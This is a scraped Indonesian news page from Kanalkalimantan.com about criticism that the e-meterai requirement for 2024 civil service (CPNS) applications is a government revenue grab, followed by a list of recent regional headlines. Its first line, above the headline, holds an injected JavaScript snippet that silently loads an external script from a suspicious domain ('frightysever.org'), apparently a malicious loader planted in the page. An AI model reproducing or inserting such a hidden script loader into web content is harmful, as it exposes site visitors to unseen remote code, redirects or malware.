(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Polemik Syarat e-Meterai Pendaftaran CPNS 2024, Motif Pemerintah Raup Cuan


KANALKALIMANTAN.COM, JAKARTA – Syarat e-meterai pada dokumen lamaran CPNS dituding sebagai cara pemerintah agar mendapatkan tambahan pendapatan dari masyarakat.

Hal itu terlihat dari melonjaknya permintaan e-meterai jelang penutupan pendaftaran CPNS pada 6 September 2024 mendatang.

“Pemerintah sepertinya ingin mendapatkan pendapatan tambahan. E-meterai ini kan ada pendapatan bagi negara. Jadi ada pemasukan bagi negara,” kata pengamat kebijakan publik dari Universitas Trisakti, Trubus Rahadiansyah kepada Suara.com –jejaring Kanalkalimantan.com- dihubungi Rabu (4/9/2024).

Baca juga: 3.045.941 Pemilih Pilkada Kalsel, Dominasi Generasi Milenial dan Gen X

Padahal, menurut Trubus, tak perlu ada persyaratan pembubuhan e-meterai untuk pendaftaran awal pada tahap seleksi dokumen. Sehingga, kewajiban menggunakan e-meterai pada surat lamaran kerja dan surat lampiran peserta CPNS nampak seperti upaya pengumpulan masyarakat.

“Bagian dari pengumpulan dana publik, ya. Makanya ini pilihan saja, tidak perlu ada wajiban harusnya. Kalau mau pakai ya silahkan, kalau tidak pakai ya tidak apa-apa. Nanti kalau sudah diterima (jadi PNS), wajib,” sarannya.

Masih menurut Trubus, panitia seleksi CPNS harus menyadari keluhan masyarakat yang kesulitan mendapatkan e-meterai.

Baca juga: KY Diminta Sadap Hakim Nakal

“Masyarakatnya enggak bisa apa-apa untuk ketentuannya ini. Ketentuannya ada di panitia. Ini panitianya itu yang harus diberitahu. Artinya di sini tingkat Menteri harus memberitahu bahwa ini enggak boleh,” ujarnya.

Diketahui bahwa pendaftar CPNS harus membubuhkan e-meterai pada lembar surat lamaran dan surat pernyataan untuk setiap instansi yang dilamar. Namun, sejak beberapa hari lalu, publik mengeluhkan e-meterai makin sulit didapatkan karena banyak situs yang menjualnya justru alami eror.

Bahkan kuota e-meterai dari Peruri juga tak kunjung bertambah. Alhasil, terjadi kelangkaan e-materai yang berujung membuat Perum Peruri sebagai penyedia e-meterai pun menuai kritik dari publik. (Suara.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Gubernur dan Wagub Kalsel Antar Kloter 1 di Pesawat, Doakan Sehat Diberi Haji Mabrur

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Muhidin dan Wakil Gubernur Hasnuryadi Sulaiman mengantarkan langsung… Read More

7 jam ago

Keberangkatan Kloter 1 Embarkasi Banjarmasin Tepat Waktu

KANALKALIMANTAN.COM, BANJARBARU - Keberangkatan Kelompok Terbang (Kloter) 1 jemaah haji Embarkasi Banjarmasin berjalan lancar dan… Read More

7 jam ago

Jemaah Haji Embarkasi Banjarmasin Mulai Diberangkatkan, Kalsel 3.818 Orang

KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan ibadah haji tahun 1446 hijriah/2025 masehi, Kantor Wilayah Provinsi Kalimantan Selatan… Read More

9 jam ago

Kloter 1 Embarkasi Banjarmasin Terbang Menuju Madinah

Nur Jaina Jemaah Haji Termuda Usia 18 Tahun, Berangkat Gantikan Ayah Read More

9 jam ago

Sidang Perdana Anggota TNI AL Jumran: Didesak Nikahi Juwita, Terdakwa Muncul Niat Jahat

Jumran dan Juwita Awal Kenal November 2024, Menginap di Hotel Read More

13 jam ago

Kabupaten Banjar Targetkan Kabupaten Layak Anak Predikat Nindya

KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk Keluarga Berencana (Dinsos P3AP2KB)… Read More

13 jam ago